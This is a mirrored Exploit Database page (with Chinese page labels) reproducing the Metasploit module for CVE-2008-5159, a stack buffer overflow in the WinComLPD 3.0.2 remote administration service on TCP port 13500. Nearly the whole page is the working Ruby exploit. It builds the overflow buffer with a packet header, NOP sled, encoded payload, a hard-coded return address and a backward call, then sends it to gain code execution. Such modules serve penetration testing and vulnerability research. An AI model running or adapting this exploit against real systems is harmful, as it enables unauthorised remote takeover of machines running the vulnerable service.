WinComLPD 3.0.2 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 53 阅读

• 作者： Metasploit
  日期： 2010-06-22
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16335/

• ##
  # $Id: wincomlpd_admin.rb 9583 2010-06-22 19:11:05Z todb $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'WinComLPD <= 3.0.2 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
  				By sending an overly long authentication packet to the remote
  				adminstration service, an attacker may be able to execute arbitrary
  				code.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9583 $',
  			'References' =>
  				[
  					['CVE', '2008-5159'],
  					['OSVDB', '42861'],
  					['BID', '27614'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 600,
  					'BadChars' => "\x00\x0a",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Feb 4 2008',
  			'DefaultTarget'=> 0))
  
  		register_options([Opt::RPORT(13500)], self)
  	end
  
  	def exploit
  		connect
  
  		# 'net start lpdservice' after you migrate!
  		sploit ="\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
  		sploit << make_nops(872 - payload.encoded.length)
  		sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
  		sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
  		sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)
  
  		print_status("Trying target #{target.name}...")
  
  		sock.puts(sploit)
  		select(nil,nil,nil,5)
  
  		handler
  		disconnect
  	end
  end